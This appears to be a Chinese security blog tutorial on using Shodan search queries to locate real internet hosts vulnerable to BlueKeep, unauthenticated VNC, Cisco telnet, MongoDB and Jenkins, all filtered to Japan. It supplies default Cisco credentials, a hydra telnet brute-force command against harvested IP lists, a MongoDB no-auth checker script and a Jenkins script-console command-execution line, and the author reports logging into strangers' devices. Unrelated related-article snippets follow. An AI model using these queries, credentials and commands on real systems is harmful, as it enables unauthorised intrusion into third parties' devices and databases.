shodan进阶-实战案例

导语

一、CVE-2019-0708(3389漏洞)

1. 概要

2. 原理

3. 搜索命令

二、vnc空密码(未授权访问)

1. 概要

2. 原理

3. 搜索命令

三、思科网络设备未授权

1. 概要

2. 原理

3.搜索命令

四、MongoDB 未授权访问

1. 概要

2. 原理

3. 搜索命令

五、Jenkins组件漏洞

1. 概要

2. 原理

3. 搜索命令

总结


学习视频:泷羽sec的个人空间-泷羽sec个人主页-哔哩哔哩视频

导语

从shodan基础介绍讲到shodan在服务器上部署了很多的扫描器,其中就包括漏洞扫描器,是可以通过vuln来查找的,在没有 Shodan 高级会员权限的情况下,无法使用 vuln 参数直接查找存在漏洞的主机,但通过灵活的搜索组合,我们依然可以实现对特定漏洞的设备定位。本次以下几种漏洞为例,介绍如何利用 Shodan 的搜索功能筛选受影响的设备,并结合脚本批量和手工的方式验证,帮助更高效地识别网络中的高危资产。

Shodan 提供了丰富的查询功能,通过关键词、端口、操作系统、特征指纹等条件的组合使用,即使在没有高级权限的情况下,也可以实现接近漏洞扫描的效果

一、CVE-2019-0708(3389漏洞)

1. 概要

CVE-2019-0708漏洞是通过检査用户的身份认证,导致可以绕过认证,不用任何的交互,直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去。

2. 原理

存在漏洞的远程桌面四服务器,在接收到特殊数据包时会释放一个内部信道 MS_T120 的控制结构体,但并未将指向该结构体的指针删除,而且在远程桌面连接结束之后还会调用 MS_T120 结构体内的一个函数指针,若攻击者可通过远程发送数据重新占据被释放的MS_T120,并为结构体内的函数指针赋恰当的值,即可实现远程命令执行。

3. 搜索命令

用十六进制制字符串(类似于指纹的方式去找)

shodan search --limit 10 --fields ip_str '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' has_vuln:True port:3389 country:jp
  • 参数分析

    • -limit 10 #显示10条资产

    • --fields ip_str #只显示ipv4地址

    • '"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"' #CVE-2019-0708指纹特征

    • has_vuln:True #只搜索存在CVE漏洞的资产

    • port:3389 #再次精准,只搜索开放了3389端口的资产

    • country:jp #只搜索小樱花的资产

精准打击,后面还可以使用MSF的攻击模块对CVE-2019-0708深度利用,这里就不演示

提示:该实验仅供学习参考,请勿违反网络安全法!


二、vnc空密码(未授权访问)

1. 概要

VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。

2. 原理

VNC(Virtual Network Computing)是一种轻量级的远程控制软件,允许用户通过网络连接并完全控制远程计算机。由于其设计特性,VNC容易受到未授权访问的攻击,尤其是当认证被禁用时,即无需用户密码登录就可被利用,造成恶意用户直接控制目标主机。

3. 搜索命令

shodan search --limit 50 --fields ip_str "authentication disabled" port:5900 country:jp

  • 参数分析

    • -limit 50 #显示50条资产

    • --fields ip_str #只显示ip地址

    • "authentication disabled" #身份认证被禁用

    • port:5900 #再次精准,只搜索开放了5900端口的资产

    • country:jp #只搜索小樱花的资产

可以看到我成功登录了一些设备,命令搜索不是特别精准,所以需要多试几个。

提示:该实验仅供学习参考,请勿违反网络安全法!


三、思科网络设备未授权

1. 概要

思科(Cisco)是一家全球领先的网络解决方案和技术公司,成立于1984年,总部位于美国加利福尼亚州。思科专注于网络硬件、软件和服务,尤其以其路由器、交换机、防火墙和无线解决方案闻名。

2. 原理

思科设备在未获得授权的情况下,会导致未授权登录,如果搜索到的设备如仍需登录也可以使用弱口令进行尝试。

3.搜索命令

shodan search --fields ip_str --limit 100 "cisco -authorized port:23" country:jp

  • 参数分析

    • -limit 100 #显示100条资产

    • --fields ip_str #只显示ip地址

    • "cisco -authorized port:23" #排除已经授权的cisco设备

    • port:23 #只搜索开放了23端口的资产

    • country:jp #只搜索小樱花的资产

搜索到的设备如仍需登录,我们也可以使用弱口令进行尝试。

思科设备常见的默认账号和密码如下:

账户:admin/cisco 密码:cisco

讲解:为什么要搜索一百条呢因为命中率是比较低的,我们后续可以拿搜索到的资产进行弱口令的尝试。

有挺多工具的,我们这里使用kali自带的九头蛇hydra进行一个批量检测。

命令:hydra -s 23 -V -L cisco_name.txt -P cisco_pass.txt -t 16 -M cisco_ip.txt telnet

在文件所在目录运行命令,一下子就可以跑出来不少,但是九头蛇这个工具是有误报率的,可以多多尝试登录。

我这边也是成功登录一个

提示:该实验仅供学习参考,请勿违反网络安全法!


四、MongoDB 未授权访问

1. 概要

MongoDB 是一个开源的 NoSQL 数据库,主要用于处理大量的非结构化数据。它采用文档存储模型,使用 BSON(类似于 JSON 的二进制格式)来存储数据,具有灵活性和高性能。

2. 原理

MongoDB服务安装后,默认未开启权限验证。如果服务监听在0.0.0.0,则可远程无需授权访问数据库。

3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。

3.0之前版本,如未添加用户管理员账号及数据库账号,使用--auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;

3.0及之后版本,使用--auth参数启动后,无账号则本地和远程均无任何数据库访问权限。

3. 搜索命令

shodan search --fields ip_str --limit 100 "MongoDB Server Information -authentication" port:27017 country:jp

  • 参数分析

    • -limit 100 #显示100条资产

    • --fields ip_str #只显示ip地址

    • "MongoDB Server Information -authentication" #排除已经授权的MongoDB

    • port:27017 #只搜索开放了27017 端口的资产

    • country:jp #只搜索小樱花的资产

讲解:搜索100条也是因为命中率的问题,不过MongoDB未授权的命中率很高,我们可以先拿脚本筛选一下。

可以发现成功了都是比较高的,以下是文中用于测试脚本的核心代码,可以按需魔改。

from pymongo import MongoClient
from pymongo.errors import ConnectionFailure
​
def main(ip, port=27017):try:# 创建 MongoDB 客户端,不提供认证信息client = MongoClient(ip, port, serverSelectionTimeoutMS=5000)# 尝试连接到服务器client.admin.command('ping')print(f"MongoDB数据库连接成功!IP地址: {ip}, 端口号: {port}")except ConnectionFailure:print(f"{ip}无法连接到MongoDB数据库。")
if __name__ == "__main__":ip='127.0.0.1'main(ip)

测试连接

大部分的数据库都已经被黑客光临过了,遇到还有数据的也不要去乱动。

提示:该实验仅供学习参考,请勿违反网络安全法!


五、Jenkins组件漏洞

1. 概要

Jenkins 是一个开源的自动化服务器,主要用于持续集成(CI)和持续交付(CD)过程。它允许开发人员通过自动构建、测试和部署代码,提高软件开发的效率和质量。

2. 原理

在默认配置下Jenkins,存在未授权访问造成的RCE漏洞。

3. 搜索命令

shodan search --limit 10 --fields ip_str,port port:8080 http.title:"Dashboard" "X-Jenkins" OR "Set-Cookie:JSESSIONID"

  • 参数分析

    • -limit 10 #显示100条资产

    • --fields ip_str #只显示ip地址

    • "X-Jenkins" OR "Set-Cookie:JSESSIONID" #框架特征

    • port:8080 #8080端口是Jenkins的默认端口

    • http.title:"Dashboard" #通常标题都是Dashboard

访问/script可以命令执行:println "ifconfig".execute().text

提示:该实验仅供学习参考,请勿违反网络安全法!


总结

即便没有高级会员权限,通过发散思维和灵活的语法组合,我们仍然可以在 Shodan 上实现特定漏洞的设备筛查。此方法对于预算有限的小白用户尤其实用,为安全研究人员提供了更多的探索空间。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/888.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

并发编程中的CAS思想

共享变量操作的原子性 分析如下代码片段: // 获取共享变量时,为了保证该变量的可见性,需要使用 volatile 修饰。 static volatile int count 0;public static void add(){count; }public static void main(String[] args) throws Interrup…

占地1.1万平,2亿投资的智能仓储系统:高架库、AGV、码垛机器人……

导语 大家好,我是社长,老K。专注分享智能制造和智能仓储物流等内容。 我国调味料市场近年来展现出惊人的增长潜力,各大品牌纷纷加大投入,力求在竞争中脱颖而出。 广东美味鲜调味食品有限公司,作为行业内的佼佼者&#…

激活函数、条件熵和最大熵在机器学习的应用

文章目录 摘要Abstractsigmoid 和 softmaxsigmoid和softmax的关系 条件熵最大熵总结 摘要 本周学习内容探讨了神经网络中激活函数的选择及其对梯度消失问题的影响。通过使用 ReLU 函数替代 Sigmoid 函数来改善梯度消失问题的优化方法,同时分析了 Sigmoid、Softmax …

【MySql】-0.1、Unbunt20.04二进制方式安装Mysql5.7和8.0

1、下载Mysql二进制报(选择Linux的通用版本) mysql官网地址:https://downloads.mysql.com/archives/community/ wget https://downloads.mysql.com/archives/get/p/23/file/mysql-5.7.26-linux-glibc2.12-x86_64.tar wget https://downloads.…

全渠道供应链打造中企业定制开发2+1链动模式S2B2C商城小程序的策略与影响

摘要:本文探讨了全渠道供应链打造对于零售企业的重要性及面临的挑战,着重分析了物流环节整合的难点,并以家电行业为例说明了节假日期间物流对企业经营的影响。同时,引入“企业定制开发21链动模式S2B2C商城小程序”这一关键因素&am…

【Python+Pycharm】2024-Python安装配置教程

【PythonPycharm】2024-Python安装配置教程 一、下载装 Python 1、进入Python官网首页,下载最新的Python版本 Download Python | Python.org 选择对应版本下载 安装 测试安装情况 python如果安装失败 在系统环境变量添加安装路径 where pythonwin7安装路径添加…

C++开发者必看:用Flow-IPC改善进程间通信

进程间通信(IPC)对于现代计算环境至关重要,这种机制使得多个处理器核心能够同时执行多个线程。IPC的本意是让不同线程甚至独立程序能够高效地共享数据。例如,当我们在线观看流媒体视频时,可能会有一个线程负责视频解码…

JAVA 插入 JSON 对象到 PostgreSQL

博主主页:【南鸢1.0】 本文专栏:JAVA 目录 ​编辑 简介 所用: 1、 确保 PostgreSQL 数据库支持 JSON: 2、添加 PostgreSQL JDBC 驱动 3、安装和运行 PostgreSQL 4、建立数据库的连接 简介 在现代软件开发中,由于 JSON 数据…

闪存学习_1:Flash-Aware Computing from Jihong Kim

闪存学习_1:Flash-Aware Computing from Jihong Kim 前言一、Storage Media:NAND Flash Memory1、概念2、编程和擦除操作3、读操作4、异地更新操作(Out-Place Update)5、数据可靠性6、闪存控制器(SSD主控)7…

C++STL-deque、stack、queue、priority_queue

C教学总目录 deque、stack、queue、priority_queue 1、deque2、stack使用介绍3、stack实现4、queue使用介绍5、queue实现6、priority_queue使用介绍7、priority_queue实现8、反向迭代器 1、deque deque是双端队列,我们学习的队列是先进先出的(First in first out)&a…

汽车虚拟仿真软件有哪些?行业软件大盘点!

汽车虚拟仿真是指利用计算机技术,根据汽车的设计、制造、测试、运行等各个环节的需求,建立汽车的数学模型和物理模型,通过软件平台进行可视化、动态化、交互式的模拟和分析,从而实现对汽车性能、功能、品质等方面的预测和评估。汽…

【合肥工业大学】操作系统 习题解析 作业答案(仅作学习与交流/侵删)

第一章习题解析 1.设计现代OS的主要目标是什么? 答:(1)有效性 ( 2)方便性 ( 3)可扩充性 ( 4)开放性 2. OS 的作用可表现在哪几个方…

【C++动态规划】2435. 矩阵中和能被 K 整除的路径|1951

本文涉及知识点 C动态规划 LeetCode2435. 矩阵中和能被 K 整除的路径 给你一个下标从 0 开始的 m x n 整数矩阵 grid 和一个整数 k 。你从起点 (0, 0) 出发,每一步只能往 下 或者往 右 ,你想要到达终点 (m - 1, n - 1) 。 请你返回路径和能被 k 整除的…

matlab读取逐日的1km分辨率中国大陆地区的土壤水数据,并汇总至逐月分辨率

1.前言 ESSD一篇文章介绍了逐日的土壤水数据: ESSD - A 1 km daily soil moisture dataset over China using in situ measurement and machine learning 图片来源:Li et al., 2022, ESSD 中国大陆地区的土壤水的数据下载地址: 国家青藏高…

用Pyhon写一款简单的益智类小游戏——2048

文字版——代码及讲解 代码—— import random# 初始化游戏棋盘 def init_board():return [[0] * 4 for _ in range(4)]# 在棋盘上随机生成一个2或4 def add_new_tile(board):empty_cells [(i, j) for i in range(4) for j in range(4) if board[i][j] 0]if empty_cells:i,…

C++类和对象上

1. 类的定义 1.1 类定义格式 • class为定义类的关键字,Stack为类的名字,{}中为类的主体,注意类定义结束时后⾯分号不能省略。类体中内容称为类的成员:类中的变量称为类的属性或成员变量; 类中的函数称为类的⽅法或者成员函数。…

目标追踪DeepSort

一、卡尔曼滤波 你可以在任何对某个动态系统有 “不确定信息” 的地方使用卡尔曼滤波器,并且可以对系统下一步的行为做出 “有根据的猜测”。即使混乱的现实干扰了你所猜测的干净运动,卡尔曼滤波器通常也能很好地确定实际发生了什么。它还可以利用你可能…

Python爬虫:揭开淘宝商品描述的神秘面纱

在这个信息爆炸的时代,我们每天都在和时间赛跑。作为一名Python开发者,你是否曾梦想拥有超能力,能够瞬间揭开淘宝商品描述的神秘面纱?今天,就让我们一起化身为代码界的“福尔摩斯”,使用Python爬虫技术&…

消息队列面试——打破沙锅问到底

消息队列的面试连环炮 前言 你用过消息队列么?说说你们项目里是怎么用消息队列的? 我们有一个订单系统,订单系统会每次下一个新订单的时候,就会发送一条消息到ActiveMQ里面去,后台有一个库存系统,负责获取…

HTMLCSS:3D旋转动画机器人摄像头

效果演示 创建了一个3D机器人摄像头效果。 HTML <div class"modelViewPort"><div class"eva"><div class"head"><div class"eyeChamber"><div class"eye"></div><div class&quo…